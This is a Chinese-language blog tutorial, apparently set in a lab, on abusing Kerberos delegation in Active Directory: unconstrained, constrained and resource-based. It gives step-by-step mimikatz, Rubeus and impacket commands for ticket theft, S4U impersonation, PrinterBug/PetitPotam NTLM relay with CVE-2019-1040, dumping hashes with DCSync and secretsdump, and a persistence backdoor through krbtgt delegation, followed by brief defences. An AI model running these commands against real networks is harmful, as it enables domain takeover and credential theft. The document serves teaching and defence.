域委派攻擊詳解

yokan發表於2022-04-19

什麼是域委派

域委派是指將域內使用者的許可權委派給服務賬號,使得服務賬號能以使用者許可權訪問域內的其他服務。簡言之:當A訪問服務B時,服務B拿著A使用者的憑證去訪問服務C,這個過程稱為委派。

域委派是大型網路中經常部署的應用模式,給多跳認證帶來了很大的便利,但是與此同時也帶來了很大的安全隱患,利用委派,攻擊者可獲取本地管理員甚至域管理員許可權,還可以製作深度隱藏的後門。

img

域使用者 yokan\justtest 以 kerberos 身份驗證訪問 Web 伺服器,請求下載檔案。但是真正的檔案在後臺的檔案伺服器上。於是,Web伺服器的服務賬號websrv模擬域使用者yokan\justtest,以kerberos協議繼續認證到後臺檔案伺服器。後臺檔案伺服器將檔案返回給Web伺服器,Web伺服器將檔案返回給域使用者yokan\justtest。這樣,就完成了一個委派的流程。

委派的分類

非約束性委派(Unconstrained Delegation )

約束性委派( Constrained Delegation)

基於資源的約束性委派(RBCD: Resource Based Constrained Delegation)

委派的前提

在域內只有主機賬號和服務賬號才有委派屬性。主機賬號:活動目錄中的computers組內的計算機,也被稱為機器賬號。服務賬號:域內使用者的一種型別,是伺服器執行服務時所用的賬號,將服務執行起來加入域內,比如:SQLServer,MYSQL等;域使用者通過註冊SPN也能成為服務賬號。

委派的前提:被委派的使用者不能被設定為不能被委派屬性。

img

非約束性委派(Unconstrained Delegation )

概述

1、 在Windows Server2000首次釋出Active Directory時,Microsoft就提供了一種簡單的機制來支援使用者通過Kerberos向Web Server進 行身份驗證並需要代表該使用者更新後端資料庫伺服器上的記錄的方案,這就是最早的非約束性委派。對於非約束性委派 (Unconstrained Delegation),服務賬號可以獲取被委派使用者的TGT,並將TGT快取到LSASS程式中,從而服務賬號可使用該TGT, 模擬該使用者訪問任意服務。非約束委派的設定需要SeEnableDelegation 特權,該特權通常僅授予域管理員 。

2、 配置了非約束性委派屬性的機器賬號的userAccountControl 屬性有個Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其對應的數是0x81000=528384。

3、 配置了非約束性委派屬性的服務賬號的userAccountControl 屬性有個Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其對應的數是0x80200=524800。

查詢非約束委派的主機或服務賬號(域控預設配置非約束委派屬性)

1、 利用powersploit中的powerview

Import-Module .\PowerView.ps1;

查詢非約束委派的主機 Get-NetComputer -Unconstrained -Domain yokan.com

查詢非約束委派的服務賬號 Get-NetUser -Unconstrained -Domain yokan.com | select name

2、 利用ADFind

查詢域中配置非約束委派的使用者

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查詢域中配置非約束委派的主機

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

3、 ldapsearch

非約束性委派大致流程

user訪serverA,於是向DC發起認證,DC會檢查serverA的機器賬號的屬性,如果是非約束委派的話,會把使用者的TGT放在ST票據中並一起傳送給serverA,這樣serverA在驗證ST票據的同時也獲取到了使用者的TGT,並把TGT儲存在自己的lsass程式中以備下次重用,從而serverA就可以使用這個TGT,來模擬這個user訪問任何服務

img

從攻擊角度來說:如果攻擊者拿到了一臺配置了非約束委派的機器許可權,可以誘導管理員來訪問該機器,然後可以得到管理員的TGT,從而模擬管理員訪問任意服務,相當於拿下了整個域環境

非約束性委派利用

域:yokan.com 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 受委派機器:SERVER2012

現在將SERVER2012這個機器賬號設定為非約束委派。

img

通過命令列開啟adsiedit.msc檢視SERVER2012機器屬性,可以看到:

當被設定為非約束委派的時候,它的userAccountControl會包含TRUSTED_FOR_DELEGATION欄位。

img

用域管訪問SERVER2012機器

img

然後在SERVER2012上以管理員許可權執行mimikatz:

privilege::debug

匯出票據

sekurlsa::tickets /export

img

此時拿到了管理員的票據,用mimikatz將票據注入記憶體中,然後訪問域控:

首先使用mimikatz清楚記憶體中的票據

kerberos::purge

然後匯入票據

kerberos::ptt [0;7b5d92a]-2-0-60a00000-Administrator@krbtgt-YOKAN.COM.kirbi

檢視票據

kerberos::list

img

可以訪問域控:

img

非約束委派+spooler印表機

如果只是單純的非約束委派話需要管理員主動連線,所以在實戰環境利用比較雞肋。

利用非約束委派+Spooler印表機服務可以強制指定的主機進行連線,這個利用場景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的

利用原理

:利用Windows列印系統遠端協議(MS-RPRN)中的一種舊的但是預設啟用的方法,在該方法中,域使用者可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法強制任何執行了Spooler服務的計算機以通過Kerberos或NTLM對攻擊者選擇的目標進行身份驗證。

請求過程如下:

img

注:Print Spooler服務預設是自動執行的

img

注:我在windows server2008上操作沒有成功,不知道是我的問題還是有版本限制,按照上面的原理來說應該是沒有版本限制的,不過把域環境重新配置了一遍,域控換成了windows server2012R2就成功了。

復現參考:

https://xz.aliyun.com/t/7217

https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw

利用工具:https://github.com/cube0x0/CVE-2021-1675

AdFind.exe(http://www.joeware.net/freetools/tools/adfind/)

Impacket(https://github.com/SecureAuthCorp/impacket)

SpoolSample(https://github.com/leechristensen/SpoolSample)

Rubeus(https://github.com/GhostPack/Rubeus)

利用復現

環境:

域:yokan.com

域控:系統:Windows server 2008主機名:WIN-1D09BAA27UF,ip:192.168.111.134

域內主機:系統:windows 10,主機名:DESKTOP-JSNG43Q,ip:192.168.111.153

給win10這個主機賬戶開啟非約束委派:

img

利用:

利用前提是:需要獲取一臺主機賬戶開啟了非約束委派域內機器的許可權。(這裡是win10機器

1)查詢域內配置非約束委派的主機::

img

(2)檢視域控主機上是否執行PrintSpooler服務(預設執行)

ls [\ad\pipe\spoolss](file://ad/pipe/spoolss) (網圖)

img

有顯示spoolss即為域控主機上執行了PrintSpooler服務,如果沒有執行,我們將收到一個錯誤資訊。

還有另一種方法。我們可以使用impacket中rpcdump.py指令碼掃描存在PrintSpooler服務的主機:

img

如圖所示為存在PrintSpooler服務,未顯示資訊則不存在。

(3)使用Rubeus監聽來自域控(AD)的4624登入日誌(需要管理員許可權):

img

(4)在win10主機上執行SpoolSample.exe,向域控(WIN-1D09BAA27UF)的Spooler服務傳送請求,強制域控(WIN-1D09BAA27UF)向win10主機發起認證:

【沒有成功,查資料說是域控換成SERVER2012以上就可以了,這邊沒有相應環境,下面貼一下網圖吧】

img

(5)捕捉到來自域控(AD)的認證請求,匯出其TGT資料:

【PS:也可以像 《非約束委派利用》 一節 一樣,直接用mimikatz匯出票據】

img

(6)使用Rubues進行PTT票據傳遞:

PTT操作將通過LsaCallAuthenticationPackage()API提交當前登入會話的(TGT或服務票證),其中包含KERB_SUBMIT_TKT_REQUEST訊息,或者(如果已提升)由指定的登入會話"/luid:0xA.."。

與其他"/ticket:X"引數一樣,該值可以是".kirbi"檔案的base64編碼或磁碟上".kirbi"檔案的路徑。

使用Rubues匯入base64的ticket:

img

(7)成功匯入TGT後,檢視可用票據:

img

(8)利用DCSync匯出域內所有使用者hash:

img

我們可以進一步進行Hash傳遞或者進行黃金票據等。

約束性委派( Constrained Delegation)

概述

1、 由於非約束性委派的不安全性,微軟在Windows Server 2003中釋出了約束性委派。同時,為了在Kerberos協議層面對約束性委派的支援,微軟擴充套件了兩個子協議 S4u2Self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ),這兩個擴充套件都允許服務代表使用者從KDC請求票證。S4U2self可以代表自身請求針對其自身的Kerberos服務票據(ST1);S4U2proxy可以以使用者的名義請求其它服務的ST2,約束委派就是限制了S4U2proxy擴充套件的範圍, 只能模擬該使用者訪問特定的服務。

2、 配置了約束性委派賬戶的msDS- AllowedToDelegateTo屬性會指定對哪個SPN進行委派。約束委派的設定需要 SeEnableDelegation 特權,該特權通常僅授予域管理員。

3、 配置了非約束性委派的機器賬號的userAccountControl屬性有個FLAG位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其對應的數是0x1001000=16781312。

4、 配置了非約束性委派的服務賬號的userAccountControl屬性有個FLAG位 NORMAL_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其對應的數是0x1000200=16777728。

S4U2Self和S4U2proxy的請求過程

注:其中步驟1-4代表S4U2Self請求的過程,步驟5-10代表S4U2proxy的請求過程

img

上述請求的文字描述:

\1. 使用者向service1發出請求。使用者已通過身份驗證,但service1沒有使用者的授權資料。通常,這是由於身份驗證是通過Kerberos以外的其他方式驗證的。

\2. 通過S4U2self擴充套件以使用者的名義向KDC請求用於訪問service1的ST1。

\3. KDC返回給Service1一個用於使用者驗證Service1的ST1,該ST1可能包含使用者的授權資料。

\4. service1可以使用ST中的授權資料來滿足使用者的請求,然後響應使用者。

注:儘管S4U2self向service1提供有關使用者的資訊,但S4U2self不允許service1代表使用者發出其他服務的請求,這時候就輪到S4U2proxy發揮作用了

\5. 使用者向service1發出請求,service1需要以使用者身份訪問service2上的資源。

\6. service1以使用者的名義向KDC請求使用者訪問service2的ST2

\7. 如果請求中包含PAC,則KDC通過檢查PAC的簽名資料來驗證PAC ,如果PAC有效或不存在,則KDC返回ST2給service1,但儲存在ST2的cname和crealm欄位中的客戶端身份是使用者的身份,而不是service1的身份。

\8. service1使用ST2以使用者的名義向service2傳送請求,並判定使用者已由KDC進行身份驗證。

\9. service2響應步驟8的請求。

\10. service1響應使用者對步驟5中的請求。

總結:

S4U2Self(用使用者的TGT向KDC請求使用者的可轉發的ST1,再用這張ST1去發起S4U2proxy請求。) 通過此擴充套件可以拿到一張標識任意使用者身份的ST,它的作用其實是協議轉換。有時使用者會通過其他協議(例如NTLM或者是基於表單的身份驗證)對服務進行身份驗證,因此他們不會將TGS傳送給服務。在這種情況下,服務可以呼叫S4U2Self來要求身份驗證服務為其自身的任意使用者生成TGS,然後可以在呼叫S4U2Proxy時將其用作依據。例如網站A伺服器可以使用它去向KDC請求一張使用者B身份的ST1,網站A伺服器再用這張ST1去發起S4U2proxy請求。

S4U2proxy(拿使用者的可轉發的ST1請求用於訪問伺服器的ST2) 該擴充作用是使用一張使用者A身份的ST1去向KDC請求一張用於訪問檔案伺服器B的ST2,這張ST2的身份還是使用者的,這樣的話網站A就可以利用使用者A的許可權去訪問檔案伺服器B上的檔案了。

查詢約束委派的主機或服務賬號

1、利用empire中的powerview

Import-Module .\powerview.ps1;

查詢約束委派的主機: Get-DomainComputer -TrustedToAuth -Domain hiro.com | select name

查詢約束委派的賬號: Get-DomainUser -TrustedToAuth -Domain hiro.com | select name

2、利用ADFind

查詢域中配置約束委派使用者: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

查詢域中配置約束委派的主機: AdFind.exe -b "DC=hiro,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3、ldapsearch

約束性委派的大致流程

user訪問serviceA,向DC發起kerberos認證,域控返回user的TGT和ST1票據,user使用ST1票據對serviceA進行訪問

如果配置了serviceA到serviceB的約束委派,則serviceA能使用S4U2Proxy協議將使用者發給自己的可轉發的ST1票據以使用者的身份發給DC。

域控返回serviceA一個用來訪問serviceB的ST2票據,這樣serviceA就能以使用者的身份對serviceB發起訪問。

img

由於服務使用者只能獲取某個使用者(或主機)的服務的ST1而非TGT,所以只能模擬使用者訪問特定的服務,但是如果能拿到約束委派使用者(或主機)的密碼或者Hash,就可以偽造S4U的請求,偽裝成服務使用者以任意使用者的許可權申請訪問指定服務的ST2

約束性委派利用

域:yokan.com 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 受委派機器:WIN7 域使用者:justtest

首先在域控上將域使用者justtest註冊成為SPN服務賬號:

setspn -S cifs/WIN7.yokan.com justtest

img

檢視是否註冊成功:

setspn -L justtest

img

然後將justtest使用者設定約束委派的屬性,為訪問域控的cifs(訪問資料夾)

img

通過命令列開啟adsiedit.msc檢視justtest使用者屬性,可以看到:

當被設定為約束委派的時候,它的userAccountControl會包含TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION欄位。

img

並且比非約束委派的賬戶多了msDS-AllowedToDelegateTo欄位,裡面包含了允許委派的服務

img

前面我們講了在約束委派的情況下,服務使用者只能獲取某個使用者(或主機)的服務的ST,所以只能模擬使用者訪問特定的服務,是無法獲取使用者的TGT,如果我們能獲取到開啟了約束委派的服務使用者的明文密碼或者NTLM Hash,我們就可以偽造S4U請求,進而偽裝成服務使用者以任意賬戶的許可權申請訪問某服務的ST

當知道justtest這個服務使用者的明文密碼或者Hash時,可以用kekeo請求它的TGT:

擁有明文密碼

tgt::ask /user:justtest /domain:yokan.com /password:**********

擁有賬戶的Hash

tgt::ask /user:justtest /domain:yokan.com /NTLM:xxxxxxxxxxxxxxx

img

PS:如果既不知道明文也不知道Hash,如果有了服務使用者登入的主機許可權,可以用mimikatz從記憶體中把服務使用者的TGT dump下來照樣可以實現

從記憶體中匯出所有票據

privilege::debug

sekurlsa::tickets /export

img img

然後通過justtest的TGT偽造s4u請求以administrator身份請求訪問域控(WIN-1D09BAA27UF) cifs的ST

*tgs::s4u /tgt:TGT_justtest@YOKAN.COM_krbtgt~yokan.com@YOKAN.COM.kirbi /user:Administrator@yokan.com /service:cifs/WIN-1D09BAA27UF.yokan.com*

(S4U2Self獲取到的ST1以及S4U2Proxy獲取到的域控CIFS服務的ST2會儲存在當前目錄下,然後我們用mimikatz將ST2匯入當前會話即可)

img

用mimikatz將票據匯入記憶體中

*kerberos::ptt TGS_Administrator@yokan.com@YOKAN.COM_cifs~WIN-1D09BAA27UF.yokan.com@YOKAN.COM.kirbi*

img

訪問域控:

img

約束委派請求過程

待抓包看一下整個委派請求的過程。

參考:

https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw 服務使用者: win7

https://xz.aliyun.com/t/7217#toc-12 服務使用者 qiyou

https://mp.weixin.qq.com/s/PDhCRD1aOcmtd2wMUrv8Qg (這篇文章也有抓包分析過程)

利用約束委派生成黃金票據

TGT的生成是由krbtgt使用者加密和簽名的,如果我們能委派krbtgt服務,那麼就可以偽造任意使用者的TGT了,黃金票據通常情況下我們是用krbtgt的hash來偽造TGT,不過我們通過約束委派也能達到同樣的效果。

注:TGS預設的spn是krbtgt/domain name,在我們操作環境下也就是是krbtgt/YOKAN.COM

krbtgt預設是禁用的而且無法啟用,所以我們無法使用介面來新增這個SPN。

我們可以使用powershell來新增:

域控通過powershell新增justtest到krbtgt的約束委派

powershell -exec bypass

Import-Module ActiveDirectory

$user = Get-ADUser justtest (justtest為設定為約束委派的服務賬號)

Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/yokan.com") }

img

我們可以用impacket套件攻擊(可以py指令碼,也可以exe,這裡用py)

使用getST向KDC請求administrator的TGT:

*python getst.py -dc-ip 192.168.111.134 -spn krbtgt/yokan.com -impersonate Administrator yokan.com/justtest:password*

引數:

-impersonate:表示偽造使用者

-spn:表示我們要委派的服務的spn,這裡是TGS

-dc-ip:域控ip

執行之後會在當前目錄生成一個快取檔案Administrator.ccache

img img

黃金票據利用:

(1)獲取域控許可權

用mimikatz進行ptc(pass the cache),將快取注入當前會話中

x

img

cmd下,klist檢視快取的票據

img

訪問域控

img

(2)用wmiexec彈出一個許可權為administrator互動式的shell

set KRB5CCNAME=administrator.ccache

python wmiexec.py -no-pass -k administrator@WIN-1D09BAA27UF.yokan.com -dc-ip 192.168.111.134

img

(3)匯出域內雜湊

set KRB5CCNAME=administrator.ccache

python secretsdump.py -no-pass -k WIN-1D09BAA27UF.yokan.com

img

基於資源的約束性委派(RBCD:Resource Based Constrained Delegation)

概述

傳統的委派,在設定的過程中其實都是需要SeEnableDelegation特權,而這個特權需要域管理員才能設定。相對於傳統的委派,基於資源的約束委派它不需要域管理員設定,而是機器本身

基於資源的約束性委派允許資源配置受信任的帳戶委派給他們。基於資源的約束性委派只能在執行Windows Server 2012和Windows Server 2012 R2及以上的域控制器上配置,但可以在混合模式林中應用。配置了基於資源的約束性委派賬戶的msDS-AllowedToActOnBehalfOfOtherIdentity 屬性的值為被允許委派賬號的SID,並且委派屬性這裡沒有任何值。

img

(換圖)

約束委派和基於資源的約束委派的區別

前者:通過服務A委派到服務B,實際是在服務A上增加TRUSTED_FOR_DELEGATION欄位(非約束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (約束委派)欄位來達到委派的目的。

後者:通過服務B允許服務A委派到服務B,實際是通過服務B自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity欄位,從而允許服務A對服務B的基於資源的約束委派

所以當利用到基於資源的約束委派的時候,服務A的兩個欄位是沒有賦值的,當這兩個欄位沒有被賦值的時候,通過S4U2Self得到的ST服務票證是不可被轉發的,而S4U2Proxy的作用就是將可轉發的ST票據轉發到其他服務進行委派認證的。但是:在基於資源的約束委派過程中,不可轉發的ST仍可以通過S4U2Proxy轉發到其他服務進行委派認證,並且最後還會返回一張可轉發的ST服務票證

因此,如果能夠在服務B上配置允許服務A的基於資源的約束委派,那麼就可以通過控制服務A使用S4U2Self向域控請求任意使用者訪問自身的服務票據,最後再使用S4U2Proxy轉發此ST票據去請求訪問服務B的可轉發的ST服務票據,那麼我們就可以模擬任意使用者訪問服務B了。這裡可以以普通域使用者的身份去建立機器賬號作為服務A。

基於資源的約束性委派的優勢

1、委派的許可權授予給了擁有資源的後端,而不再是前端

2、約束性委派不能跨域進行委派,基於資源的約束性委派可以跨域和林

3、不再需要域管理員許可權設定委派,只需擁有在計算機物件上編輯msDS-AllowedToActOnBehalfOfOtherIdentity屬性的許可權,也就是擁有’將域機器加入域’域使用者和機器自身的許可權。

基於資源的約束性委派利用條件

利用基於資源的約束委派(RBCD)需要2個條件:

1.擁有將域機器加入域的域使用者的許可權。(將機器B加入域的域使用者擁有修改機器B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的許可權。)

2.一個任意服務賬戶或者一個機器賬戶(每一個域使用者都可以新增10個機器賬戶)

補充:

1.如果匯入powerview後執行以下命令後有回顯,證明win7主機配置了基於資源的約束性委派。

Get-DomainComputer win7 -Properties msds-allowedtoactonbehalfofotheridentity

2.查詢將win主機拉入域內的人的sid,其實就是查詢這臺主機的mS-DS-CreatorSID值:

AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

基於資源的約束性委派流程

img

基於資源的約束性委派利用

攻擊前

域:yokan 域控:WIN-1D09BAA27UF IP:192.168.111.134 域管:administrator 域內機器:DESKTOP-JSNG43Q(一臺Windows10),域內使用者justtest把這臺機器加入到域內

1、

通過ADFind查詢將域機器拉入域的使用者的SID:

*AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID*

img

(如果一個機器賬號沒有mS-DS-CreatorSID,那麼他是被域管拉入到域內的,比如上圖前三個)

檢視S-1-5-21-3711814681-2143907425-4066055064-1138是誰:

*AdFind.exe -b "DC=yokan,DC=com" -f "(&(objectsid= S-1-5-21-3711814681-2143907425-4066055064-1138))" objectclass cn dn*

img

假如現在已經拿到了把DESKTOP-JSNG43Q這臺機器加入域的使用者justtest的許可權

使用whoami /all查詢當前使用者的sid

img

同樣可以通過使用者的sid檢視哪些域機器是通過自己(justtest)加入到域內的:

*AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID= S-1-5-21-3711814681-2143907425-4066055064-1138))" cn sAMAccountType objectCategory*

img

2、

利用powermad新增機器賬戶:

(下載:https://github.com/Kevin-Robertson/Powermad)

這裡以justtest使用者建立一個域機器名為win10system,密碼為win10

Import-Module .\Powermad.ps1

New-MachineAccount -MachineAccount win10system -Password $(ConvertTo-SecureString "win10" -AsPlainText -Force)

img

驗證是否建立成功:

net group "domain computers" /domain

img

3、

查詢新增機器的SID:

(1) 在域控制器上查詢

dsquery computer | dsget computer -dn -sid

img

或者

powershell執行Get-ADComputer win10system

(2) 在域機器上查詢

使用empire下的powerview

Import-Module .\powerview.ps1

Get-DomainComputer -Identity win10system

img

S-1-5-21-3711814681-2143907425-4066055064-1141

4、

然後設定win10system到DESKTOP-P34E60A的基於資源的約束委派(使用empire下的powerview),即DESKTOP-P34E60A自身賦予msDS-AllowedToActOnBehalfOfOtherIdentity欄位

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3711814681-2143907425-4066055064-1141)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer DESKTOP-JSNG43Q| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

img

檢查是否配置成功:

(使用empire下的powerview)

Get-DomainComputer DESKTOP-JSNG43Q -Properties msds-allowedtoactonbehalfofotheridentity

img

也可以在域控上通過命令列開啟adsiedit.msc檢視CN=DESKTOP-JSNG43Q機器屬性,可以看到:

當被設定為基於資源的約束委派的時候,它的msDS-AllowedToActOnBehalfOfOtherIdentity會包含有效欄位。

img

攻擊完成清除基於資源的約束委派配置:[匯入powerview]

Set-DomainObject DESKTOP-JSNG43Q -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose)

補充:

如果滿足了“利用條件“,可以直接使用這個工具(https://github.com/tothi/rbcd-attack)****新增機器賬戶,配置基於資源的約束委派,兩條命令即可,很方便)

使用 如下:

img

現在已經配置好利用條件就可以通過基於資源的約束委派進行攻擊了:

攻擊

1.使用rubeus獲取票據

Rubeus.exe hash /user:win10system /password:win10 /domain:hiro.com

img

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:cifs/DESKTOP-P34E60A /ptt

img

img

dir [\WIN-1D09BAA27UF\c$](file://WIN-1D09BAA27UF/c$)

2.使用impacket套件獲取

python3 getST.py -dc-ip 192.168.111.134 -spn cifs/DESKTOP-JSNG43Q -impersonate administrator yokan.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@DESKTOP-JSNG43Q.yokan.com -dc-ip 192.168.111.134

基於資源的約束委派+spool服務(PrinterBug)+CVE-2019-1040

img

CVE-2019-1040可以繞過NTLM中的MIC(訊息完整性檢查),修改已經過協商簽名的身份驗證流量。有兩種利用方式,一個是攻擊Exchange 機器,迫使Exchange機器使用者向我們發起請求,另外一個就是攻擊域管機器,迫使域管機器使用者向我們發起請求。

這裡我們用到的是 攻擊域管機器。

在有輔助域的內網中,利用此漏洞,就能直接獲取到域控的許可權。

環境:

PDC : 192.168.111.134

ADC : 192.168.111.135

已控普通域內機器:192.168.111.

攻擊機kali : 192.168.111.142

已知域使用者: justtest *******

利用:

1、 由於所有域使用者向都可以在域中新增10個計算機帳戶,因此在受控域內機器上,使用justtest的使用者身份新建一個機器使用者tttest

建立方式有很多,可以使用powermad.ps1指令碼。 這裡使用impacket工具包裡的addcomputer.py

python addcomputer.py -computer-name 'tttest' -computer-pass ttttest -dc-ip 192.168.111.134 yokan.com/justtest:YOKAN_vege947!!@@

img

2、使用impacket中的ntlmrelay.py監聽445進行監聽等待域控進行連線

python ntlmrelayx.py -t ldap://192.168.111.134 -smb2support --remove-mic --delegate-access --escalate-user tttest$ -debug

(別忘了轉義)

img

執行ntlmrelayx.py指令碼,--delegate-access選項是將中繼計算機帳戶的訪問許可權委託給攻擊者,--escalate-user引數設定tttest機器使用者的資源委派,--remove-mic引數了是去除mic驗證

3 使用印表機漏洞讓域控連線我們的445(注意攻擊的域控跟回連的LDAP所在的伺服器不要在同一臺域控)

使用任意域賬號SMB連線輔助域控制器,觸發printerbug,使輔助域控制器用自己的使用者身份回連攻擊者主機

python printerbug.py yokan.com/justtest:YOKAN_vege947!!@@@192.168.111.135 192.168.111.142

img

此時ntlmrelayx.py通過ldap將該使用者賬戶中繼到域控伺服器(DC),並設定了tttest$到ADC輔助域控制器的約束委派

(網圖,我主域控是server08,沒有成功)

img

(https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ)

4 使用impaket中的getSP.py指令碼,通過-impersonate引數模擬使用者administrator請求其票據,再利用票據執行命令

首先:

img

python3 getST.py -spn cifs/ADC.yokan.com yokan/tttest$:tttest -dc-ip 192.168.111.134 -impersonate administrator

匯入票據:

export KRB5CCNAME=administrator.ccache

獲取輔助域控shell

python3 smbexec.py -k -no-pass adc.yokan.com

img

基於資源的約束委派+petitpotam+CVE-2019-1040

利用PetitPotam,可以指定域內的一臺伺服器,並使其對攻擊者選擇的目標進行身份驗證。
而且在低版本(08和12)的情況下,可以匿名觸發,不需要域使用者。在16版本以上,就需要指定一個普通域使用者賬號和密碼了

利用過程與上面類似,只不過觸發方式從prinrtbug改為petitpotam

img

1、****新增計算機賬戶

python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."

img

2、****開啟中繼

python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1$ -smb2support --remove-mic

3、觸發PetitPotam

python3 Petitpotam.py 192.168.164.128 192.168.164.147

(這裡是server2012,不需要指定使用者名稱密碼)

img

img

img

PS 如果是server2016以上,觸發方式為:

python PetitPotam.py -u user1 -p Uu1234. -d test.com 192.168.164.128 192.168.164.147

4****、獲取票據
這裡我重新搭建了域環境,所以機器名變了

python3 getST.py -dc-ip 192.168.164.146 test/rbcd1$:123456 -spn cifs/father2.test.com -impersonate administrator

5、 載入票據使用

export KRB5CCNAME=administrator.ccache

psexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com

img

secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt

img

利用基於資源的約束委派進行許可權維持

跟約束委派利用相似,可以配置win10system到krbtgt的基於資源的約束委派,只要有了win10system的許可權,就能偽造任意使用者請求krbtgt服務,則可以請求到任意使用者的TGT.

在域控上執行:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3105699010-1460039537-418241315-1151)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

可以看到krbtgt的msDS-AllowedToActOnBehalfOfOtherIdentity會包含有效欄位。

img

1.使用rubeus偽造administrator請求TGT

Rubeus.exe s4u /user:win10system$ /rc4:6C4FD556DB12BE51BACD9A3CC19D486E /impersonateuser:administrator /msdsspn:krbtgt /ptt

img

klist檢視快取票證

img

訪問域控

img

2.同樣的也能用impacket套件

python3 getST.py -dc-ip 192.168.111.134 -spn krbtgt -impersonate administrator yokan.com/win10system$:win10

set KRB5CCNAME=administrator.ccache

python3 wmiexec.py -no-pass -k administrator@DESKTOP-JSNG43Q.yokan.com -dc-ip 192.168.111.134

防禦

\1. 高許可權賬號設定禁止委派屬性

img

\2. 微軟推出了protected users組,組內使用者不允許被委派,適用於Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012

img

\3. kerberos預認證不使用DES或RC4等加密演算法(儘量使用AES256)同樣能夠預防Kerberoast攻擊

參考

https://mp.weixin.qq.com/s/gZ5jVnc6IWZ1jZSB4fp1sw

https://xz.aliyun.com/t/7217

https://shanfenglan.blog.csdn.net/article/details/111249630

https://xz.aliyun.com/t/10061#toc-12 (利用基於資源的約束委派提權)

委派知識點全收錄:

https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

printerbug/petitpotam+rbcd :

https://www.cnblogs.com/zpchcbd/p/15857942.html

相關文章